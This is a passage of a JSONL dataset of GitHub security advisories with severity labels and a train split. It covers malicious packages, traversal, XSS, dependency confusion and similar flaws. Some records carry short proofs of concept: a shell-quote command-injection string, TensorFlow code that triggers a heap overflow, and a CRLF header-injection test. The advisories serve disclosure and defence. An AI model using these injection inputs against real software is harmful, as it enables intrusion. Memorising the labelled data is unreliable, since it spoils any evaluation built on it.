console.log(quote(['a;{echo,test,123,234}']));\n   // Actual                    \"a;{echo,test,123,234}\"\n   // Expected                  \"a\\;\\{echo,test,123,234\\}\"\n   // Functional Equivalent     \"a; echo 'test' '123' '1234'\"\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "65e4e232b7e4af65343e", "text": "Spark allows remote attackers to read arbitrary files via a .. (dot dot) in the URI\n\nDirectory traversal vulnerability in Spark 2.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.", "text_raw": "Spark allows remote attackers to read arbitrary files via a .. (dot dot) in the URI\n\n[Severity: HIGH]\n\nDirectory traversal vulnerability in Spark 2.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-04", "split": "train"}
-{"id": "753c213b6fdba0769dd7", "text": "Malicious Package in scrytsy\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in scrytsy\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "018044bc792360f4f168", "text": "Antilles Dependency Confusion Vulnerability\n\n### Potential Impact: \nRemote code execution.\n\n### Scope of Impact: \nOpen-source project specific.\n\n### Summary Description:\nA dependency confusion vulnerability was reported in the Antilles open-source software prior to version 1.0.1 that could allow for remote code execution during installation due to a package listed in requirements.txt not existing in the public package index (PyPi). \nMITRE classifies this weakness as an Uncontrolled Search Path Element (CWE-427) in which a private package dependency may be replaced by an unauthorized package of the same name published to a well-known public repository such as PyPi.\nThe configuration has been updated to only install components built by Antilles, removing all other public package indexes. Additionally, the antilles-tools dependency has been published to PyPi.\n\n### Mitigation Strategy for Customers (what you should do to protect yourself):\nRemove previous versions of Antilles as a precautionary measure and Update to version 1.0.1 or later.\n\n### Acknowledgement:\nThe Antilles team thanks Kotko Vladyslav for reporting this issue.\n\n### References:\nhttps://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9", "text_raw": "Antilles Dependency Confusion Vulnerability\n\n[Severity: HIGH]\n\n### Potential Impact: \nRemote code execution.\n\n### Scope of Impact: \nOpen-source project specific.\n\n### Summary Description:\nA dependency confusion vulnerability was reported in the Antilles open-source software prior to version 1.0.1 that could allow for remote code execution during installation due to a package listed in requirements.txt not existing in the public package index (PyPi). \nMITRE classifies this weakness as an Uncontrolled Search Path Element (CWE-427) in which a private package dependency may be replaced by an unauthorized package of the same name published to a well-known public repository such as PyPi.\nThe configuration has been updated to only install components built by Antilles, removing all other public package indexes. Additionally, the antilles-tools dependency has been published to PyPi.\n\n### Mitigation Strategy for Customers (what you should do to protect yourself):\nRemove previous versions of Antilles as a precautionary measure and Update to version 1.0.1 or later.\n\n### Acknowledgement:\nThe Antilles team thanks Kotko Vladyslav for reporting this issue.\n\n### References:\nhttps://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d1b876fb29c8ac1bc54f", "text": "Insufficient Error Handling in http-proxy\n\nAffected versions of `http-proxy` are vulnerable to a denial of service attack, wherein an attacker can force an error which will cause the server to crash.\n\n## Recommendation\n\nUpdate to version 0.7.0 or later.", "text_raw": "Insufficient Error Handling in http-proxy\n\n[Severity: HIGH]\n\nAffected versions of `http-proxy` are vulnerable to a denial of service attack, wherein an attacker can force an error which will cause the server to crash.\n\n\n## Recommendation\n\nUpdate to version 0.7.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "7698c48003157540d796", "text": "Using JMSAppender in log4j configuration may lead to deserialization of untrusted data\n\n### Impact\n\nClickHouse JDBC Bridge uses [slf4j-log4j12 1.7.32](https://repo1.maven.org/maven2/org/slf4j/slf4j-log4j12/1.7.32/), which depends on [log4j 1.2.17](https://repo1.maven.org/maven2/log4j/log4j/1.2.17/). It allows a remote attacker to execute code on the server, if you changed default log4j configuration by adding JMSAppender and an insecure JMS broker.\n\n### Patches\n\nThe patch version `2.0.7` removed log4j dependency by replacing `slf4j-log4j12` to `slf4j-jdk14`. Logging configuration is also changed from `log4j.properties` to `logging.properties`.\n\n### Workarounds\n\n1. Do NOT change log4j configuration to use JMSAppender along with insecure JMS broker\n2. Alternatively, you can issue below command to remove `JMSAppender.class`:\n\n```(bash)\n# install zip command if you don't have\napt-get update && apt-get install -y zip\n# remove the class\nzip -d clickhouse-jdbc-bridge*.jar ru/yandex/clickhouse/jdbcbridge/internal/log4j/net/JMSAppender.class\n```\n\n### References\n\nPlease refer to [CVE-2021-4104](https://access.redhat.com/security/cve/CVE-2021-4104) to read more.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please feel free to open an issue in the repository.", "text_raw": "Using JMSAppender in log4j configuration may lead to deserialization of untrusted data\n\n[Severity: HIGH]\n\n### Impact\n\nClickHouse JDBC Bridge uses [slf4j-log4j12 1.7.32](https://repo1.maven.org/maven2/org/slf4j/slf4j-log4j12/1.7.32/), which depends on [log4j 1.2.17](https://repo1.maven.org/maven2/log4j/log4j/1.2.17/). It allows a remote attacker to execute code on the server, if you changed default log4j configuration by adding JMSAppender and an insecure JMS broker.\n\n### Patches\n\nThe patch version `2.0.7` removed log4j dependency by replacing `slf4j-log4j12` to `slf4j-jdk14`. Logging configuration is also changed from `log4j.properties` to `logging.properties`.\n\n### Workarounds\n\n1. Do NOT change log4j configuration to use JMSAppender along with insecure JMS broker\n2. Alternatively, you can issue below command to remove `JMSAppender.class`:\n\n```(bash)\n# install zip command if you don't have\napt-get update && apt-get install -y zip\n# remove the class\nzip -d clickhouse-jdbc-bridge*.jar ru/yandex/clickhouse/jdbcbridge/internal/log4j/net/JMSAppender.class\n```\n\n### References\n\nPlease refer to [CVE-2021-4104](https://access.redhat.com/security/cve/CVE-2021-4104) to read more.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please feel free to open an issue in the repository.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "c094cc5d2b00f730bded", "text": "herbivore downloads Resources over HTTP\n\nAffected versions of `herbivore` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `herbivore`.\n\n## Recommendation\n\nThe module author has rewritten much of the package, and in that process, patched the vulnerability, but has not published any of the new code to npm.\n\nIn order to get an updated version, it is necessary to install the package from github. This can be done using the following command:\n```\nnpm i samatt/herbivore\n```", "text_raw": "herbivore downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `herbivore` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `herbivore`.\n\n\n## Recommendation\n\nThe module author has rewritten much of the package, and in that process, patched the vulnerability, but has not published any of the new code to npm.  \n\nIn order to get an updated version, it is necessary to install the package from github. This can be done using the following command:\n```\nnpm i samatt/herbivore\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "6382a2b8f5f64f3f4661", "text": "Path Traversal in serve\n\nVersions of `serve` prior to 7.0.1 are vulnerable to Path Traversal. Explicitly ignored folders can be accessed through if the path contains a `/./`, which allows attackers to access hidden folders and files.\n\n## Recommendation\n\nUpgrade to version 7.0.1 or later.", "text_raw": "Path Traversal in serve\n\n[Severity: HIGH]\n\nVersions of `serve` prior to 7.0.1 are vulnerable to Path Traversal. Explicitly ignored folders can be accessed through if the path contains a `/./`, which allows attackers to access hidden folders and files.\n\n\n## Recommendation\n\nUpgrade to version 7.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "7d6dc073d1541a29553d", "text": "Heap buffer overflow in `AvgPool3DGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.AvgPool3DGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\norig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)\ngrad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.AvgPool3DGrad(\n  orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,\n  padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/d80ffba9702dc19d1fac74fc4b766b3fa1ee976b/tensorflow/core/kernels/pooling_ops_3d.cc#L376-L450) assumes that the `orig_input_shape` and `grad` tensors have similar first and last dimensions but does not check that this assumption is validated.\n\n### Patches\nWe have patched the issue in GitHub commit [6fc9141f42f6a72180ecd24021c3e6b36165fe0d](https://github.com/tensorflow/tensorflow/commit/6fc9141f42f6a72180ecd24021c3e6b36165fe0d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `AvgPool3DGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.AvgPool3DGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\norig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)\ngrad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.AvgPool3DGrad(\n  orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,\n  padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/d80ffba9702dc19d1fac74fc4b766b3fa1ee976b/tensorflow/core/kernels/pooling_ops_3d.cc#L376-L450) assumes that the `orig_input_shape` and `grad` tensors have similar first and last dimensions but does not check that this assumption is validated.\n\n### Patches\nWe have patched the issue in GitHub commit [6fc9141f42f6a72180ecd24021c3e6b36165fe0d](https://github.com/tensorflow/tensorflow/commit/6fc9141f42f6a72180ecd24021c3e6b36165fe0d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7a54c687ba224037ee40", "text": "Server Side Request Forgery in Apache Axis\n\nA Server Side Request Forgery (SSRF) vulnerability affected the Apache Axis 1.4 distribution that was last released in 2006. Security and bug commits commits continue in the projects Axis 1.x Subversion repository, legacy users are encouraged to build from source. The successor to Axis 1.x is Axis2, the latest version is 1.7.9 and is not vulnerable to this issue.", "text_raw": "Server Side Request Forgery in Apache Axis\n\n[Severity: HIGH]\n\nA Server Side Request Forgery (SSRF) vulnerability affected the Apache Axis 1.4 distribution that was last released in 2006. Security and bug commits commits continue in the projects Axis 1.x Subversion repository, legacy users are encouraged to build from source. The successor to Axis 1.x is Axis2, the latest version is 1.7.9 and is not vulnerable to this issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "ab7630c4e366dad72ce2", "text": "Cross-site scripting in LavaLite-CMS\n\nCross Site Scripting (XSS) vulnerability in LavaLite-CMS 5.8.0 via the Menu Links feature.", "text_raw": "Cross-site scripting in LavaLite-CMS\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) vulnerability in LavaLite-CMS 5.8.0 via the Menu Links feature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "ca364912ffbc09f6ec94", "text": "Malicious Package in sparkies\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in sparkies\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2fcb64b615b12328bad0", "text": "Prototype Pollution in jquery-bbq\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-bbq 1.2.1 allows a malicious user to inject properties into Object.prototype.", "text_raw": "Prototype Pollution in jquery-bbq\n\n[Severity: HIGH]\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-bbq 1.2.1 allows a malicious user to inject properties into Object.prototype.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "fda6d2b415078387a075", "text": "Downloads Resources over HTTP in alto-saxophone\n\nAffected versions of `alto-saxophone` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `alto-saxophone`.\n\n## Recommendation\n\nUpdate to version 2.25.1 or later.", "text_raw": "Downloads Resources over HTTP in alto-saxophone\n\n[Severity: HIGH]\n\nAffected versions of `alto-saxophone` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `alto-saxophone`.\n\n\n## Recommendation\n\nUpdate to version 2.25.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "026635a13c7c0ec149a1", "text": "Incorrect Access Control in Ignition\n\nThe Ignition component before 1.16.15, and 2.0.x before 2.0.6, for Laravel has a \"fix variable names\" feature that can lead to incorrect access control.", "text_raw": "Incorrect Access Control in Ignition\n\n[Severity: CRITICAL]\n\nThe Ignition component before 1.16.15, and 2.0.x before 2.0.6, for Laravel has a \"fix variable names\" feature that can lead to incorrect access control.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "55dbaaaa086cc6103d07", "text": "Downloads Resources over HTTP in windows-seleniumjar-mirror\n\nAffected versions of `windows-seleniumjar-mirror` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-seleniumjar-mirror`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nCurrently, the best mitigation is to download the selenium jar file manually from [seleniumHQ](https://www.seleniumhq.org/download/).\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in windows-seleniumjar-mirror\n\n[Severity: HIGH]\n\nAffected versions of `windows-seleniumjar-mirror` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-seleniumjar-mirror`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nCurrently, the best mitigation is to download the selenium jar file manually from [seleniumHQ](https://www.seleniumhq.org/download/).\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "0492d851bde38c82520d", "text": "Duplicate Advisory: Authentication Bypass by CSRF Weakness\n\n## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-26xx-m4q2-xhq8. This link is maintained to preserve external references.\n\n## Original Description\n\n### Impact\n\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:\n\n* Executed whether as:\n  * A before_action callback (the default)\n  * A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).\n* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\nThanks @waiting-for-dev for reporting and providing a patch 👏\n\n### Patches\n\nSpree 4.3 users should update to spree_auth_devise 4.4.1\nSpree 4.2 users should update to spree_auth_devise 4.2.1\nSpree 4.1 users should update to spree_auth_devise 4.1.1\nOlder Spree version users should update to spree_auth_devise 4.0.1\n\n### Workarounds\n\nIf possible, change your strategy to :exception:\n\n```ruby\nclass ApplicationController < ActionController::Base\n  protect_from_forgery with: :exception\nend\n```\n\nAdd the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:\n\n```ruby\nconfig.after_initialize do\n  Spree::UsersController.protect_from_forgery with: :exception\nend\n```\n\n### References\nhttps://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2", "text_raw": "Duplicate Advisory: Authentication Bypass by CSRF Weakness\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-26xx-m4q2-xhq8. This link is maintained to preserve external references.\n\n## Original Description\n\n### Impact\n\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of `spree_auth_devise` are affected if `protect_from_forgery` method is both:\n\n* Executed whether as:\n  * A before_action callback (the default)\n  * A prepend_before_action (option prepend: true given) before the :load_object hook in Spree::UserController (most likely order to find).\n* Configured to use :null_session or :reset_session strategies (:null_session is the default in case the no strategy is given, but rails --new generated skeleton use :exception).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\nThanks @waiting-for-dev for reporting and providing a patch 👏 \n\n### Patches\n\nSpree 4.3 users should update to spree_auth_devise 4.4.1\nSpree 4.2 users should update to spree_auth_devise 4.2.1\nSpree 4.1 users should update to spree_auth_devise 4.1.1\nOlder Spree version users should update to spree_auth_devise 4.0.1\n \n### Workarounds\n\nIf possible, change your strategy to :exception:\n\n```ruby\nclass ApplicationController < ActionController::Base\n  protect_from_forgery with: :exception\nend\n```\n\nAdd the following to`config/application.rb `to at least run the `:exception` strategy on the affected controller:\n\n```ruby\nconfig.after_initialize do\n  Spree::UsersController.protect_from_forgery with: :exception\nend\n```\n\n### References\nhttps://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "7f9388dc7cfb9800350c", "text": "Cross-site Scripting in curly-bracket-parser\n\nThis affects all versions of package curly-bracket-parser.\n When used as a template library, it does not properly sanitize the user input.", "text_raw": "Cross-site Scripting in curly-bracket-parser\n\n[Severity: MEDIUM]\n\nThis affects all versions of package curly-bracket-parser.\n When used as a template library, it does not properly sanitize the user input.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "f58b2e03bc2508cb8ef4", "text": "GraphiQL introspection schema template injection attack\n\n- [1. Impact](#11-impact)\n  - [2. Scope](#12-scope)\n  - [3. Patches](#13-patches)\n    - [3.1 CDN bundle implementations may be automatically patched](#131-cdn-bundle-implementations-may-be-automatically-patched)\n  - [4. Workarounds for Older Versions](#14-workarounds-for-older-versions)\n  - [5. How to Re-create the Exploit](#15-how-to-re-create-the-exploit)\n  - [6. Credit](#16-credit)\n  - [7. References](#17-references)\n  - [8. For more information](#18-for-more-information)\n\nThis is a security advisory for an XSS vulnerability in `graphiql`.\n\nA similar vulnerability affects `graphql-playground`, a fork of `graphiql`. There is a corresponding `graphql-playground` [advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw).\n\n## 1. Impact\n\nAll versions of `graphiql` older than [`graphiql@1.4.7`](https://github.com/graphql/graphiql/releases/tag/v1.4.7) are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a vulnerable schema in `graphiql`. There are a number of ways that can occur.\n\nBy default, the schema URL is _not_ attacker-controllable in `graphiql` or in its suggested implementations or examples, leaving only very complex attack vectors.\n\nIf a custom implementation of `graphiql`'s `fetcher` allows the schema URL to be set dynamically, such as a URL query parameter like `?endpoint=` in `graphql-playground`, or a database provided value, then this custom `graphiql` implementation is _vulnerable to phishing attacks_, and thus much more readily available, low or no privelege level xss attacks. The URLs could look like any generic looking graphql schema URL.\n\nBecause this exposes an XSS attack surface, it would be possible for a threat actor to exfiltrate user credentials, data, etc. using arbitrary malicious scripts, without it being known to the user.\n\n## 2. Scope\n\nThis advisory describes the impact on the `graphiql` package. The vulnerability also affects other projects forked from `graphiql` such as [`graphql-playground`](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and the `graphql-playground` fork distributed by Apollo Server. The impact is more severe in the `graphql-playground` implementations; see the [`graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\nThis vulnerability does not impact `codemirror-graphql`, `monaco-graphql` or other dependents, as it exists in `onHasCompletion.ts` in `graphiql`. It does impact all forks of `graphiql`, and every released version of `graphiql`.\n\nIt should be noted that desktop clients such as Altair, Insomnia, Postwoman, do not appear to be impacted by this.\n\n## 3. Patches\n\n`graphiql@1.4.7` addresses this issue via defense in depth.\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability. You can disable this validation by setting `dangerouslyAssumeSchemaIsValid={true}`, which means you are relying only on escaping values to protect y", "text_raw": "GraphiQL introspection schema template injection attack\n\n[Severity: HIGH]\n\n  - [1. Impact](#11-impact)\n  - [2. Scope](#12-scope)\n  - [3. Patches](#13-patches)\n    - [3.1 CDN bundle implementations may be automatically patched](#131-cdn-bundle-implementations-may-be-automatically-patched)\n  - [4. Workarounds for Older Versions](#14-workarounds-for-older-versions)\n  - [5. How to Re-create the Exploit](#15-how-to-re-create-the-exploit)\n  - [6. Credit](#16-credit)\n  - [7. References](#17-references)\n  - [8. For more information](#18-for-more-information)\n\nThis is a security advisory for an XSS vulnerability in `graphiql`.\n\nA similar vulnerability affects `graphql-playground`, a fork of `graphiql`. There is a corresponding `graphql-playground` [advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw).\n\n## 1. Impact\n\nAll versions of `graphiql` older than [`graphiql@1.4.7`](https://github.com/graphql/graphiql/releases/tag/v1.4.7) are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a vulnerable schema in `graphiql`. There are a number of ways that can occur.\n\nBy default, the schema URL is _not_ attacker-controllable in `graphiql` or in its suggested implementations or examples, leaving only very complex attack vectors.\n\nIf a custom implementation of `graphiql`'s `fetcher` allows the schema URL to be set dynamically, such as a URL query parameter like `?endpoint=` in `graphql-playground`, or a database provided value, then this custom `graphiql` implementation is _vulnerable to phishing attacks_, and thus much more readily available, low or no privelege level xss attacks. The URLs could look like any generic looking graphql schema URL.\n\nBecause this exposes an XSS attack surface, it would be possible for a threat actor to exfiltrate user credentials, data, etc. using arbitrary malicious scripts, without it being known to the user.\n\n## 2. Scope\n\nThis advisory describes the impact on the `graphiql` package. The vulnerability also affects other projects forked from `graphiql` such as [`graphql-playground`](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and the `graphql-playground` fork distributed by Apollo Server. The impact is more severe in the `graphql-playground` implementations; see the [`graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7) and [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\nThis vulnerability does not impact `codemirror-graphql`, `monaco-graphql` or other dependents, as it exists in `onHasCompletion.ts` in `graphiql`. It does impact all forks of `graphiql`, and every released version of `graphiql`.\n\nIt should be noted that desktop clients such as Altair, Insomnia, Postwoman, do not appear to be impacted by this.\n\n## 3. Patches\n\n`graphiql@1.4.7` addresses this issue via defense in depth.\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability. You can disable this validation by setting `dangerouslyAssumeSchemaIsValid={true}`, which means you are relying only on escaping", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "7df43965a97da799a696", "text": "HTTP Response Splitting in Styx\n\n# Vulnerability\nStyx is vulnerable to CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (&#39;HTTP Response Splitting&#39;).\n\n# Vulnerable Component\nThe vulnerable component is the `com.hotels.styx.api.HttpHeaders.Builder` due to disabling the HTTP Header validation built into Netty in these locations:\n\nhttps://github.com/HotelsDotCom/styx/blob/e1d578e9b9c38df9cd19c21dc2eb9b949d85b558/components/api/src/main/java/com/hotels/styx/api/HttpHeaders.java#L145\n\nhttps://github.com/HotelsDotCom/styx/blob/e1d578e9b9c38df9cd19c21dc2eb9b949d85b558/components/api/src/main/java/com/hotels/styx/api/HttpHeaders.java#L145\n\n`new DefaultHttpHeaders(false)` disables the built-in validation in Netty. Either use the default constructor or `new DefaultHttpHeaders(true`  instead.\n\nAdditionally, another vulnerable component is the StyxToNettyResponseTranslator due to also disabling the HTTP Header validation built into netty in this location.\n\nhttps://github.com/HotelsDotCom/styx/blob/8d60e5493e65d0d536afc0b350dcb02d24e0f7a7/components/server/src/main/java/com/hotels/styx/server/netty/connectors/StyxToNettyResponseTranslator.java#L30\n\n`DefaultHttpResponse nettyResponse = new DefaultHttpResponse(version, httpResponseStatus, false); `\n`new DefaultHttpResponse(version, httpResponseStatus, false);` disables the built-in validation in Netty. Please use the constructor `new DefaultHttpResponse(version, httpResponseStatus, true);`\n\n# Proof of Concept\nThe following test plugin proves that there is no header validation occurring.\n\n```java\n    static class VulnerablePlugin implements Plugin {\n\n@Override\n        public Eventual&lt;LiveHttpResponse&gt; intercept(LiveHttpRequest request, Chain chain) {\n            String header = request.queryParam(&quot;header-value&quot;).get();\n            LiveHttpRequest newRequest = request.newBuilder()\n                .header(&quot;myRequestHeader&quot;, header)\n                .build();\n            return chain.proceed(newRequest).map(response -&gt;\n                response.newBuilder().header(&quot;myResponseHeader&quot;, header).build()\n            ) ;\n        }\n\n}\n\n@Test\n    public void simpleHeaderInjectionVulnerabilityPOC() {\n        Plugin vulnerablePlugin = new VulnerablePlugin();\n        // a simple way to mock the downstream system\n        HttpInterceptor.Chain chain = request -&gt; {\n            assertThat(request.header(&quot;myRequestHeader&quot;).orElse(null), is(&quot;test\\r\\nAnother: CRLF_Injection&quot;));\n            return Eventual.of(response(OK).build());\n        };\n\n// an example request you expect your plugin to receive\n        String encodedGet = URLEncoder.encode(&quot;test\\r\\nAnother: CRLF_Injection&quot;);\n        LiveHttpRequest request = get(&quot;/foo?header-value=&quot; + encodedGet)\n            .build();\n\n// since this is a test, we want to wait for the response\n        LiveHttpResponse response = Mono.from(vulnerablePlugin.intercept(request, 